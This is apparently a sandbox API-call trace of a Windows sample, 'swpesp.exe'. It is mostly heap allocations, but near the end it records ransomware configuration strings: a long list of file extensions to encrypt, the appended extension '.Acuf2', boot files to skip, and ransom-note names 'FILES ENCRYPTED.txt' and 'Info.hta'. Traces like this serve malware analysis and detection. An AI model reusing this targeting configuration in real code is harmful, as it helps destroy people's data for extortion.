	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529a50
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x529a68
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529a80
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x529a98
	[0034.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ab0
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ac8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ae0
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529af8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x527ad0
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b10
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b28
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b40
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b58
	[0034.858] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x200) returned 0x529198
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b70
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5252d8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b88
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529bc8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529be0
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529bf8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c10
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c28
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c40
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c58
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c70
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529c88
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529ca0
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529cb8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529cd0
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529ce8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529d00
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529d18
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529d30
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529d48
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529d60
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529d78
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529d90
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5252e8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529da8
	[0034.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529dc0
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529dd8
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529fc8
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529df0
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529e08
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e20
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e38
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e50
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e68
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e80
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e98
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529eb0
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529ec8
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ee0
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ef8
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f10
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529f28
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f40
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f58
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f70
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f88
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c468
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c480
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c498
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529fd8
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x529fe8
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c4b0
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c4c8
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c4e0
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c4f8
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c510
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c528
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c540
	[0034.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c558
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c570
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c588
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c5a0
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c5b8
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c5d0
	[0034.860] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x400) returned 0x529198
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c5e8
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c600
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c618
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c630
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c648
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c660
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c678
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c690
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c6a8
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c6c0
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529ff8
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c6d8
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c6f0
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c708
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c720
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c738
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c750
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53c768
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c780
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c798
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c7b0
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c7c8
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c7e0
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c7f8
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c810
	[0034.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c828
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a008
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c868
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c880
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c898
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c8b0
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c8c8
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c8e0
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c8f8
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c910
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c928
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53c940
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c958
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53c970
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c988
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c9a0
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c9b8
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c9d0
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c9e8
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53ca00
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca18
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca30
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca48
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca60
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca78
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca90
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53caa8
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cac0
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cad8
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53caf0
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb08
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb20
	[0034.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb38
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb50
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb68
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb80
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb98
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x53cbb0
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12) returned 0x525f00
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cbc8
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cbe0
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cbf8
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc10
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc28
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc68
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc80
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc98
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ccb0
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ccc8
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cce0
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ccf8
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd10
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd28
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd40
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd58
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd70
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd88
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cda0
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cdb8
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cdd0
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cde8
	[0034.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53ce00
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53ce18
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53ce30
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a018
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce48
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a028
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce60
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce78
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce90
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cea8
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cec0
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ced8
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cef0
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cf08
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cf20
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cf38
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cf50
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cf68
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cf80
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cf98
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a038
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cfb0
	[0034.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cfc8
	[0034.863] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x800) returned 0x53d450
	[0034.864] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0034.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b448 | out: hHeap=0x4f0000) returned 1
	[0034.864] lstrlenW (lpString="") returned 0
	[0034.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53dd90 | out: hHeap=0x4f0000) returned 1
	[0034.864] lstrlenW (lpString=".Acuf2") returned 6
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504750, Size=0x8) returned 0x504750
	[0034.864] lstrlenW (lpString=".Acuf2") returned 6
	[0034.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53dd90 | out: hHeap=0x4f0000) returned 1
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ddc0, Size=0x20) returned 0x504370
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504370, Size=0x40) returned 0x526a80
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a80, Size=0x80) returned 0x54b450
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0a8, Size=0x8) returned 0x52a0b8
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0b8, Size=0x10) returned 0x53ddc0
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ddc0, Size=0x20) returned 0x504348
	[0034.864] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0034.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b450 | out: hHeap=0x4f0000) returned 1
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ddf0, Size=0x20) returned 0x525930
	[0034.864] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525930, Size=0x40) returned 0x526a80
	[0034.864] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0034.864] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0034.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526a80 | out: hHeap=0x4f0000) returned 1
	[0034.865] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ddf0, Size=0x20) returned 0x525930
	[0034.865] lstrlenW (lpString="Info.hta") returned 8
	[0034.865] lstrlenW (lpString="Info.hta") returned 8
	[0034.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1
	[0034.865] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x55d440, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\swpesp.exe")) returned 0x30
	[0034.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d440 | out: hHeap=0x4f0000) returned 1
	[0034.865] lstrlenW (lpString="swpesp.exe") returned 10
	[0034.865] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x526a80
	[0034.865] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ddf0, Size=0x20) returned 0x504348
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ddf0, Size=0x20) returned 0x525930
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525930, Size=0x40) returned 0x526ac8
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526ac8, Size=0x80) returned 0x54b450
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x53b448
	[0034.866] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0034.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b448 | out: hHeap=0x4f0000) returned 1
	[0034.866] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x55d440, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc
	[0034.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d448 | out: hHeap=0x4f0000) returned 1
	[0034.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d440 | out: hHeap=0x4f0000) returned 1
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0b8, Size=0x8) returned 0x52a0a8
	[0034.866] lstrlenW (lpString="%windir%;") returned 9
	[0034.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504348 | out: hHeap=0x4f0000) returned 1
	[0034.866] lstrlenW (lpString="C:\\Windows;") returned 11
	[0034.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d438 | out: hHeap=0x4f0000) returned 1
	[0034.866] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53de08, Size=0x20) returned 0x504348
